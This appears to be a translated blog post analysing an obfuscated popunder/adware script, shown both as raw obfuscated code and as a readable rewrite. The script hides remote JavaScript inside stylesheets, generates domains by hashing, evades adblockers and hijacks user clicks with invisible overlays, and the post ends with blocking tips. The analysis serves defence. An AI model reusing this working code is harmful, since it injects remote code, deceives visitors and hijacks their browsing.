animationLookup = pluck(); var matches = f5h(animationLookup, match); var data = matches[idx]; var classNames = matches[sel]; if (I3x.M5h(udataCur, data + chunk)) { return; } if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) { return; } var o = findClosestLink(event.target, g); if (o) { /** * @param {StyleSheet} o * @return {undefined} */ var unfoldSoak = function(o) { result = o.href; }; unfoldSoak(o); } event.preventDefault(); event.stopPropagation(); loopMatch(); valueAccessor(function() { return window["document"]["body"]["appendChild"](el); }); el.style.cssText += filter(a).join(str); }, true); el.addEventListener(up, function(event) { /** @type {string} */ var val2 = "Fhtml"; /** @type {string} */ var z = "y"; /** @type {string} */ var y = "od"; /** @type {string} */ var ty = "dy"; /** @type {string} */ var inner = "bo"; /** @type {string} */ var o = "ead"; /** @type {(number|string)} */ var n = h; /** @type {(number|string)} */ var longNameB = F; /** @type {string} */ var JSCRIPT_KEYWORDS = "E"; /** @type {string} */ var q = "p"; /** @type {string} */ var value = "Fscri"; /** @type {string} */ var operator = "2"; /** @type {string} */ var s = "C"; /** @type {string} */ var PYTHON_KEYWORDS = "3"; /** @type {string} */ var PERL_KEYWORDS = "%"; /** @type {string} */ var t = '?q");}, 300);'; /** @type {string} */ var g = '("'; /** @type {string} */ var r = "ce"; /** @type {string} */ var args = "ati"; /** @type {string} */ var js = "oc"; /** @type {string} */ var spaceAfter = "ow"; /** @type {string} */ var x = "(){ "; /** @type {string} */ var closure = "cti"; /** @type {string} */ var $2 = "Time"; /** @type {string} */ var __ = "; "; /** @type {string} */ var indentCharacter = "ul"; /** @type {string} */ var clazz = " = "; /** @type {string} */ var varPart = "er"; /** @type {string} */ var guardPart = "en"; /** @type {string} */ var m = "in"; /** @type {string} */ var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E"; /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { data = obj; }; /** @type {number} */ var suiteView = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var marker = matches[id]; var data = matches[idx]; var url = matches[sel]; var self = void id; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); isUndefined(suiteView); url += idx; getObject(marker, data, url); if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) { /** * @param {Object} parent * @return {undefined} */ var group = function(parent) { /** @type {Object} */ self.opener = parent; }; /** * @return {undefined} */ var success = function() { /** @type {string} */ var px = "?q"; /** @type {string} */ window["window"]["location"] = el.href + px; }; self = window["window"]["open"](str); if (I3x.P2h(result, undefined)) { /** * @param {(Object|string)} details * @return {undefined} */ var report = function(details) { /** @type {(Object|string)} */ self.location = details; }; report(result); } else { /** * @param {Object} elem * @return {undefined} */ var removeEvent = function(elem) { self.location = elem.location; }; removeEvent(window); } success(); group(obj); el.parentNode.removeChild(el); return; } self = window["window"]["open"](path); self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + "t" + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS)); el.parentNode.removeChild(el); }, true); }; }(); var drawBorder = function() { /** @type {(number|string)} */ var v = ")"; /** @type {string} */ var b = "AAIB"; /** @type {string} */ var r = "AE"; /** @type {string} */ var groupId = "BA"; /** @type {string} */ var ele = "LA"; /** @type {string} */ var epath = "AEAAA"; /** @type {string} */ var suffix = "B"; /** @type {string} */ var args = "5"; /** @type {string} */ var H = "H"; /** @type {string} */ var x = "y"; /** @type {string} */ var w = "///"; /** @type {string} */ var $ = "AA"; /** @type {string} */ var re = "AAA"; /** @type {string} */ var PYTHON_KEYWORDS = "BAIA"; /** @type {string} */ var PERL_KEYWORDS = "QA"; /** @type {string} */ var JSCRIPT_KEYWORDS = "ODlhA"; /** @type {(number|string)} */ var CSHARP_KEYWORDS = G; /** @type {string} */ var separator = "0l"; /** @type {string} */ var string = "R"; /** @type {string} */ var inner = "e64"; /** @type {string} */ var s = "as"; /** @type {string} */ var name = "b"; /** @type {(number|string)} */ var closer = g; /** @type {string} */ var expires = "age"; /** @type {(number|string)} */ var value = m; /** @type {string} */ var spaceAfter = "at"; /** @type {(number|string)} */ var last = 999999; /** @type {string} */ var div = "div"; /** * @param {(number|string)} backgroundImage * @return {undefined} */ var backgroundImage = function(backgroundImage) { /** @type {(number|string)} */ node.style.backgroundImage = backgroundImage; }; /** * @param {number} last * @return {undefined} */ var process = function(last) { /** @type {number} */ node.style.zIndex = last; }; var node = window["document"]["createElement"](div); process(last); backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v); return function(elems) { var testElement = node.cloneNode(false); var i; for (i in elems) { if (Object.prototype.hasOwnProperty.call(elems, i)) { /** * @param {Object} object * @return {undefined} */ var debug = function(object) { testElement.style[i] = object[i]; }; debug(elems); } } window["document"]["body"]["appendChild"](testElement); return testElement; }; }(); traverseNode(node); /** * @return {undefined} */ window["window"][timeoutKey] = function() { if (I3x.h5h(window["window"].zfgloadedpopup, true)) { node(); } }; } catch (x) { } })({ j5h : "", U5h : 1397381, n5h : 3, g5h : 3, R2h : 45, t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h : "" }, "_hmiadab", "_ihlnws"); 


Still poorly understandable, but already orders of magnitude better!

Now let's take a function dictionary (var I3x = {...};) and render it separately. The rest is processed by the script.

 for (let _name in I3x) { let _func = I3x[_name].toString().replace(/[\r\n\s]+/g,' '); let _parts = _func.match(/^function\s\(([\w\d]+),\s([\w\d]+)\)\s\{\sreturn\s([\w\d]+)\s([\W\D]+)\s([\w\d]+);\s\}$/); if (_parts && _parts[1] === _parts[3] && _parts[2] === _parts[5]) { let _new = _scr.replace(new RegExp(`I3x\\.${_name}\\(([^),]+),\\s([^)]+)\\)`), `(($1)${_parts[4]}($2))`); if (_new !== _scr) _scr = _new; else console.log(`Not replaced lib.${_name} = ${_func}`); } else console.log(`Skipped lib.${_name} = ${_func}`); } console.warn(_scr); 

Some functions will not be replaced, but there will not be many of them and it should not be a problem to straighten them manually. Although in other conditions, this code will need to be significantly refined, since, for example, I met this kind of obfuscation with constructions of the form:

 let lib = { abc: function(a, b, c) { return a(b, c); } }; //    lib.abc(d, e, f); //    d(e, f); 

Unfortunately, I did not find any convenient tools for tracking the limits of accessibility and “shading” of variables, and therefore I had to restore the string data manually.

Here is a more or less parsed and rewritten code with comments.
 "use strict"; var _parseState = (function() { // I haven't found fragment of code with definition of 'I2h' object function resolve(_savedState, someNumber) { var a = []; var regexp2_fn = true; var text = false; var callback = undefined; try { var entry = _savedState[I2h.h2h](); var pair; for (; !(regexp2_fn = (pair = entry.next()).E5h); regexp2_fn = true) { a.push(pair.value); if (someNumber && a.length === someNumber) { break; } } } catch (error) { text = true; callback = error; } finally { try { if (!regexp2_fn && entry.return) entry.return(); } finally { if (text) { throw callback; } } } return a; } // usually this function returns state as-is since it's an array return function(_savedState, someNumber) { if (Array.isArray(_savedState)) { return _savedState; } else { if (I2h.h2h in Object(_savedState)) { return resolve(_savedState, someNumber); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } } }; })(); (function(config, onErrorName, onLoadName) { try { var _generateDomanName = function parse() { if (src.length > 0) { return atob(src[0].split('').reverse().join('')); } var _osName = _getOSName(); var _osVer = _getOSVersion(_osName); var _osID = ((os, v) => os == "Windows" ? (v == "10" ? 2 : ((v == "7" || v == "8") ? 3 : 1)) : 1)(_osName, _osVer); var _widthID = ((w) => w == "1920" ? 2 : (w == "1366" ? 3 : 1))(window.screen.width); var _timezoneID = _getTimezoneID(-(new Date).getTimezoneOffset() / 60); let _pad = x => (x + '').padStart(2, '0'); var prop = _pad(_timezoneID + '') + _pad(_widthID + '') + _pad(_osID + '') + "0000"; var _obj = {}; // unless there are some other shenanigans on the page this should be always false prop = _obj.hasOwnProperty(prop) ? _obj[prop] : prop; var _codeString = void 0; // actually _config_j5h is equal to empty string in this particular case // so, _codeString remain undefined if (_config_j5h === 1) { _codeString = "wmoaz2g6axi0p"; } else { if (_config_j5h === 4) { _codeString = "5901cf07608da"; } } var _obj = {}; // same as above, most likely just returns _codeString as-is var initial = _obj.hasOwnProperty(prop) ? _obj[prop] : _codeString; var restoreScript = prop + initial; var sumAllNumbers = function sumAllNumbers(text) { var _sum = 0; if (text.toString().length == 1) { return parseInt(text); } else { text.toString().split('').forEach(x => _sum += parseInt(x)); return sumAllNumbers(_sum); } }; return getValue(restoreScript).substr(0, ((20) - (sumAllNumbers(_timezoneID)))) + ".com"; }; // Postpones function until document.body is available // Almost the same thing as wait for DOMContentLoaded var _waitForBody = function(_func) { if (!document.body) { var timer = setTimeout(function run() { if (!document.body) { timer = setTimeout(run, 20); return; } _func(); clearTimeout(timer); }, 20) } else { _func(); } }; // looks like their own setTimeout implementation var _postponeABit = function run(_func) { var _stop = false; var _interval = setInterval(function() { if (!_stop) { _stop = true; _func(); clearInterval(_interval); } }, 300); return _interval; }; // I've replaced "The Great Wall of IFs" with something less awful var _getTimezoneID = function clone(_timezone) { let res = Math.ceil(_timezone) + 12; if (res < 4) res = 4; if (res > 21) res = 23; if (res === 9 || res === 11) res = 10; return res; }; // get OS name from userAgent var _getOSName = function parse() { var _userAgent = window.navigator.userAgent; var _platform = window.navigator.platform; var macs = ["Macintosh", "MacIntel", "MacPPC", "Mac68K"]; var windows = ["Win32", "Win64", "Windows", "WinCE"]; var imacs = ["iPhone", "iPad", "iPod"]; var ret = null; if (macs.indexOf(_platform) !== -1) { ret = "MacOS"; } else { if (imacs.indexOf(_platform) !== -1) { ret = "iOS"; } else { if (windows.indexOf(_platform) !== -1) { ret = "Windows"; } else { if (/Android/.test(_userAgent)) { ret = "Android"; } else { if (!ret && /Linux/.test(_platform)) { ret = "Linux"; } } } } } return ret; }; // get major Windows version and ignore all the rest var _getOSVersion = function m(_osName) { var output = ''; var _userAgent = window.navigator.userAgent; if (_osName === "Windows") { if (/(Windows 10.0|Windows NT 10.0)/.test(_userAgent)) { output = "10"; } if (/(Windows 8|Windows NT 6.2|Windows NT 6.3)/.test(_userAgent)) { output = "8"; } if (/(Windows 7|Windows NT 6.1)/.test(_userAgent)) { output = "7"; } } return output; }; var _getScriptURL = function initialize() { // get ads script URL from the page code let node = document.querySelector('script[src*="apu.php"]'); if (node === null) return; // since config.F5h is equal to "" in this case replace won't happen return config.F5h ? node.src.replace(/apu.php/g, "afu.php") : node.src; }; // attempt to load string of some hostnames from a styleSheets // return true if current hostname is in the list var _isKnownHost = function init(_href) { try { let l = void 0; if (document.styleSheets) { for (let sheet of document.styleSheets) { if (sheet.href === _href) { // get base64 encoded list of hostnames stored in stylesheet l = sheet.cssRules[3].style.content; break; } } } if (!l) return false; l = l.substring(1, ((l.length) - 1)); let f = window.atob(l); f = f.split(","); return f.some(x => x === location.host); } catch (ignore) {} }; // attempt to load some script code from a styleSheets and run it // returns a function which removes it from the page var _createScriptFromStyle = function(assert) { try { let l = void 0; if (document.styleSheets) { for (let sheet of document.styleSheets) { if (sheet.href === assert) { // get base64 encoded function stored in stylesheet l = sheet.cssRules[2].style.content; break; } } } if (!l) { // use blank function "(function() {})();" if failed to get proper code l = '"KGZ1bmN0aW9uKCkge30pKCk7"'; // return () => null; at this point would be the same } l = l.substring(1, ((l.length) - 1)); var _script = document.createElement("script"); _script.type = "text/javascript"; var _text = document.createTextNode(window.atob(l)); _script.appendChild(_text); // attach script to a page and return function which will detach it document.body.appendChild(_script); // could have been detached right here, but they decided to do it // at the call site after a short timeout return function() { _script.parentNode.removeChild(_script); }; } catch (x) {} }; // produce random integer between _min and _max var _getRandom = (_min, _max) => Math.floor(Math.random() * (_max - _min) + _min); // Saves 'value' and all properties of an object into a cookie // Not used? var X5 = function setCookie(_cookieName, _cookieValue, _config) { _config = _config || {}; var exp = _config.c6h; if (typeof exp == "number" && exp) { var d = new Date; d.setTime(d.getTime() + ((exp) * (1000))); exp = _config.c6h = d; } if (exp && exp.toUTCString) { _config.c6h = exp.toUTCString(); } _cookieValue = encodeURIComponent(_cookieValue); var _res = _cookieName + "=" + _cookieValue; for (let _prop in _config) { _res += "; " + _prop; if (_config[_prop] !== true) { _res += "=" + _config[_prop]; } } document.cookie = _res; }; // another cookie-related function, also not used var V5 = function getCookie(elem) { var matches = document.cookie.match( new RegExp("(?:^|; )" + elem.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "$1") + "=([^;]*)") ); return matches ? decodeURIComponent(matches[1]) : void 0; }; // returns object with absolute top and left position of a node on the page var _getNodePosition = function(node) { let _DOMRect = node.getBoundingClientRect(); let _element = document.documentElement; let _body = document.body; return { top: Math.round(_DOMRect.top + (window.pageYOffset || _element.scrollTop || _body.scrollTop) - (_element.clientTop || _body.clientTop || 0)), left: Math.round(_DOMRect.left + (window.pageXOffset || _element.scrollLeft || _body.scrollLeft) - (_element.clientLeft || _body.clientLeft || 0)) }; }; // generate transparent placeholders on top of NON banner-sized objects var _regeneratePlaceholders = function _regeneratePlaceholders() { // remove existing placeholders if present forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node)); _placeholders = forEach(_arrayFromSelector("object, iframe, embed, video, audio"), element => { if (!_bannerResolutions.some(x => element.offsetWidth + "x" + element.offsetHeight === x)) { var _pos = _getNodePosition(element); return _generatePlaceholder({ left: _pos.left + "px", top: _pos.top + "px", height: element.offsetHeight + "px", width: element.offsetWidth + "px", position: "absolute" }); } return []; } ); // keep track of elements position change and move placeholders to new position // could have been done in a less awful way than just drop and re-create them every 3/4 of a second _regeneratePlaceholdersTimeoutID = setTimeout(_regeneratePlaceholders, 750); }; var _dropPlaceholders = function unload() { if (_placeholders.length === 0) return; // remove existing placeholders forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node)); // stop _regeneratePlaceholders if (_regeneratePlaceholdersTimeoutID) clearTimeout(_regeneratePlaceholdersTimeoutID); }; // we can use Array.from these days var _arrayFromSelector = function(_selector) { var res = []; try { res = forEach(document.querySelectorAll(_selector), x => x); } catch (ignore) {} return res; }; // run 'callback' for each element of an array-like object passed in // and return an array of non-undefined results var forEach = function(arg, callback) { let bucket = []; let value = void 0; for (let i = 0; i < arg.length; i++) { value = callback(arg[i], i, arg); if (value !== void 0) bucket.push(value); } return bucket; }; var cloneDate = function(result) { var val = ((result.length + 8) >> 6) + 1; var actions = new Array(val * 16); var _id = 0; for (; _id < val * 16; _id++) { actions[_id] = 0; } _id = 0; for (; _id < result.length; _id++) { actions[_id >> 2] |= result.charCodeAt(_id) << (_id % 4 * 8); } actions[_id >> 2] |= (128 << (_id % 4 * 8)); actions[val * 16 - 2] = result.length * 8; return actions; }; // BITWISE MAGIC BLOCK: START // looks like a function to convert a number to base 16 8 byte little-endian form // x => x.toString(16).padStart(8, '0').match(/../g).reverse().join('').substr(0,8); var get = function extend(_val) { var res = ""; var _base = "0123456789abcdef"; var _id = 0; for (; _id <= 3; _id++) { res += _base.charAt((_val >> _id * 8 + 4) & 15) + _base.charAt((_val >> _id * 8) & 15); } return res; }; // similar to a + b with limitations of bitwise operations var _sum = function(_a, _b) { let s1 = (_a & 65535) + (_b & 65535); let s2 = (_a >> 16) + (_b >> 16) + (s1 >> 16); return ((s2 << 16) | (s1 & 65535)); }; // similar to x * Math.pow(2, y) with limitations of bitwise operations var wrap = (x, y) => ((x << y) | (x >>> 32 - y)); // some bitwise transformations var mixin = function(a, b, c, d, e, f) { return _sum(wrap(_sum(_sum(b, a), _sum(d, f)), e), c); }; var _step1 = function(a, b, c, d, e, f, g) { return mixin(((b) & (c)) | ~b & d, a, b, e, f, g); }; var _step2 = function(a, b, c, d, e, f, g) { return mixin(((b) & (c)) | c & ~d, a, b, e, f, g); }; var _step3 = function(a, b, c, d, e, f, g) { return mixin((b ^ c ^ d), a, b, e, f, g); }; var _step4 = function(a, b, c, d, e, f, g) { return mixin(c ^ (b | ~d), a, b, e, f, g); }; // as I understand this function is used to generate domain names depending on date in order to circumvent blocking // now they just have to register these domains in advance var getValue = function render(callback) { var check = cloneDate(callback); var _var1 = 1732584193; var _var2 = -271733879; var _var3 = -1732584194; var _var4 = 271733878; var T = 0; for (; T < check.length; T += 16) { var _var1init = _var1; var _var2init = _var2; var _var3init = _var3; var _var4init = _var4; _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 0], 7, -680876936); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 1], 12, -389564586); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 2], 17, 606105819); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 3], 22, -1044525330); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 4], 7, -176418897); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 5], 12, 1200080426); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 6], 17, -1473231341); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 7], 22, -45705983); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 8], 7, 1770035416); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 9], 12, -1958414417); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 10], 17, -42063); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 11], 22, -1990404162); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 12], 7, 1804603682); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 13], 12, -40341101); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 14], 17, -1502002290); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 15], 22, 1236535329); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 1], 5, -165796510); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 6], 9, -1069501632); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 11], 14, 643717713); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 0], 20, -373897302); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 5], 5, -701558691); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 10], 9, 38016083); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 15], 14, -660478335); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 4], 20, -405537848); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 9], 5, 568446438); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 14], 9, -1019803690); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 3], 14, -187363961); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 8], 20, 1163531501); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 13], 5, -1444681467); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 2], 9, -51403784); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 7], 14, 1735328473); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 12], 20, -1926607734); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 5], 4, -378558); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 8], 11, -2022574463); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 11], 16, 1839030562); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 14], 23, -35309556); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 1], 4, -1530992060); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 4], 11, 1272893353); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 7], 16, -155497632); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 10], 23, -1094730640); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 13], 4, 681279174); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 0], 11, -358537222); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 3], 16, -722521979); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 6], 23, 76029189); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 9], 4, -640364487); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 12], 11, -421815835); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 15], 16, 530742520); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 2], 23, -995338651); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 0], 6, -198630844); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 7], 10, 1126891415); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 14], 15, -1416354905); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 5], 21, -57434055); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 12], 6, 1700485571); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 3], 10, -1894986606); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 10], 15, -1051523); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 1], 21, -2054922799); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 8], 6, 1873313359); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 15], 10, -30611744); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 6], 15, -1560198380); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 13], 21, 1309151649); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 4], 6, -145523070); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 11], 10, -1120210379); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 2], 15, 718787259); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 9], 21, -343485551); _var1 = _sum(_var1, _var1init); _var2 = _sum(_var2, _var2init); _var3 = _sum(_var3, _var3init); _var4 = _sum(_var4, _var4init); } return get(_var1) + get(_var2) + get(_var3) + get(_var4); }; // BITWISE MAGIC BLOCK: END window.zfgaabversion = "3.5.2"; var _bannerResolutions = ["468x60", "234x60", "120x240", "728x90", "300x250", "240x400"]; var _config_j5h = config.j5h; var src = config.t5h; var _regeneratePlaceholdersTimeoutID = void 0; var _placeholders = []; var child = child || {}; child.L5h = config.U5h; child.b5h = "uxngHWCMgWBNwpQg"; var _adsDomainName = _generateDomanName(); var _adsPage = "//" + _adsDomainName + "/" + child.L5h + "/"; var _adsHREF = "//" + _adsDomainName + "/" + child.L5h; if ((config.F5h !== void 0) && (config.F5h.length > 0)) { var _nodes; _waitForBody(function() { _postponeABit(function() { function _processNodes(nodes, adblockDetected) { function _changeClass(node) { if (node.classList.contains(config.F5h)) { node.classList.remove(config.F5h); node.classList.add(getValue(child.b5h + Date.now())); } } for (let len = 0; len < nodes.length; len++) { if (adblockDetected) { nodes[len].href = _adsHREF + ".html"; _changeClass(nodes[len]); continue; } nodes[len].href = _getScriptURL(); } } _nodes = document.querySelectorAll("." + config.F5h) ? document.querySelectorAll("." + config.F5h) : null; if (_nodes == null) return; (function init() { var node = document.createElement("iframe"); node.width = "1px"; node.height = "1px"; node.src = _getScriptURL(); _waitForBody(function() { document.body.appendChild(node); }); setTimeout(function() { if (node.style.display == "none" || node.style.display == "hidden" || node.style.visibility == "hidden" || node.offsetHeight == 0) { node.parentNode.removeChild(node); _processNodes(_nodes, true); // adblock detected } else { node.parentNode.removeChild(node); _processNodes(_nodes); // no adblock detected } }, 400); })(); }); }); return; } var _onAdScriptLoadError = (function() { var _runOnce = false; return function() { if (_runOnce) return; _runOnce = true; let _script = document.createElement("script"); _script.src = _adsPage; _waitForBody(function() { document.body.appendChild(_script); }); _script.onload = function() { _script.parentNode.removeChild(_script); if (window.zfgloadedpopup !== true) { _ifBlocked(_script); } }; _script.onerror = function() { _ifBlocked(_script); }; }; })(); var _ifBlocked = (function() { return function init(_script) { if (_script.parentNode) _script.parentNode.removeChild(_script); // attach stylesheet with encoded script and work with it var elem = document.createElement("link"); var target = document.getElementsByTagName("head")[0]; elem.id = _adsDomainName + "css"; elem.rel = "stylesheet"; elem.type = "text/css"; elem.crossOrigin = "anonymous"; elem.href = _adsHREF + ".css"; if (target) target.insertBefore(elem, target.firstChild); elem.onload = function() { if (_isKnownHost(elem.href)) { _addStarter("tabunder"); elem.parentNode.removeChild(elem); return; } var _detachScript = _createScriptFromStyle(elem.href); setTimeout(function() { if (typeof _adScript === "function") _detachScript(); elem.parentNode.removeChild(elem); }, 1000); if (window.zfgloadedpopup !== true) _addStarter("tabunder"); }; elem.onerror = function() { _addStarter("tabunder"); elem.parentNode.removeChild(elem); }; }; })(); var _addStarter = (function() { var _alreadySet = false; return function(_mode) { if (_alreadySet) return; _alreadySet = true; function _saveToLocalStorage(a, b, c) { localStorage.___goo = a + "|" + b + "|" + c; } function _getFromLocalStorage() { return localStorage.___goo.split("|").map(el => parseInt(el, 10)); } function filter(that) { let filtered = []; for (; that.length > 0;) { filtered.push(that.splice(_getRandom(0, that.length), 1).toString()); } return filtered; } var _currentTime = (new Date).getTime(); var _maxPopups = typeof config.n5h === "number" ? config.n5h : 3; var which = typeof config.g5h === "number" ? config.g5h : 1; var _minTimeBetweenPopups = typeof config.R2h === "number" ? config.R2h : 30; var _linkHREF = void 0; which = which * 1000 * 60 * 60; _minTimeBetweenPopups *= 1000; if (!localStorage.___goo) { _saveToLocalStorage(_currentTime, 0, 0); _regeneratePlaceholders(); } else { var _some = _parseState(_getFromLocalStorage(), 2); var mod = _some[0]; var _lastTime = _some[1]; if (which === 0) { _saveToLocalStorage(0, _lastTime, 0); } else { if (_currentTime > mod + which) { _saveToLocalStorage(_currentTime, _lastTime, 0); } else {} } var matches = _parseState(_getFromLocalStorage(), 3); var classNames = matches[2]; if ((_maxPopups === 0 || classNames < _maxPopups) && (_currentTime > _lastTime + _minTimeBetweenPopups)) { _regeneratePlaceholders(); } } var el = document.createElement("A"); el.href = _adsHREF + ".html"; el.rel = "nofollow norefferer noopener"; var _zIndex = _getRandom(9999999, 99999999); var _width = _getRandom(98, 101); var _height = _getRandom(98, 101); var _top = _getRandom(0, 4); var _bottom = _getRandom(0, 4); var _left = _getRandom(0, 4); var _right = _getRandom(0, 4); var a = [ "position:fixed;", "width:" + _width + "%;", "height:" + _height + "%;", "top:" + _top + "px;", "left:" + _left + "px;", "right:" + _right + "px;", "bottom:" + _bottom + "px;", "z-index:" + _zIndex + ";" ]; document.addEventListener("mousedown", function(event) { var _some = _parseState(_getFromLocalStorage(), 3); var _lastTime = _some[1]; var _lastPopups = _some[2]; if ((new Date).getTime() <= _lastTime + _minTimeBetweenPopups) { return; // exit if not enough time passed since last popup } if (_lastPopups >= _maxPopups && _maxPopups !== 0) { return; // exit if popups goal is set and already reached } var o = event.target.closest("A"); if (o) _linkHREF = o.href; event.preventDefault(); event.stopPropagation(); _dropPlaceholders(); _waitForBody(function() { return document.body.appendChild(el); }); el.style.cssText += filter(a).join(''); }, true); el.addEventListener("mouseup", function(event) { var _some = _parseState(_getFromLocalStorage(), 3); var _newWindow = void 0; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); _saveToLocalStorage(_some[0], (new Date).getTime(), _some[2] + 1); // tabunder mode if (_mode === "tabunder") { _newWindow = window.open(''); // load clicked link (if present) or current URL in a new tab _newWindow.location = _linkHREF || window.location; // replace content of current window with ads window.location = el.href + "?q"; _newWindow.opener = null; el.parentNode.removeChild(el); return; } // popup mode _newWindow = window.open("|"); // code to load ads after short timeout _newWindow.document.write('<html><head><script>window.opener = null; setTimeout(function(){ window.location.replace("' + el.href + '?q");}, 300);</script></head><body></body></html>'); el.parentNode.removeChild(el); }, true); }; })(); var _generatePlaceholder = (function() { let node = document.createElement("div"); node.style.zIndex = 999999; node.style.backgroundImage = "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"; // return function to control placeholders return function(_style) { let _clone = node.cloneNode(false); // apply style to cloned node for (let _prop in _style) if (_style.hasOwnProperty(_prop)) _clone.style[_prop] = _style[_prop]; document.body.appendChild(_clone); return _clone; }; })(); window[onErrorName] = _onAdScriptLoadError; window[onLoadName] = function() { if (window.zfgloadedpopup !== true) node(); }; } catch (ignore) {} })({ j5h: "", U5h: 1397381, n5h: 3, g5h: 3, R2h: 45, // reversed base64 "pejqoq4cafo3bg9yqqqtk5e6s6.com" t5h: ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h: "" }, "_hmiadab", "_ihlnws"); 


Ways to block?

For example, disable onload / onerror for scripts on sites with similar rubbish, override it with an empty setter, add zfgloadedpopup === true and, if desired, break the getter of the 'content' property of styles.

Source: https://habr.com/ru/post/341360/


All Articles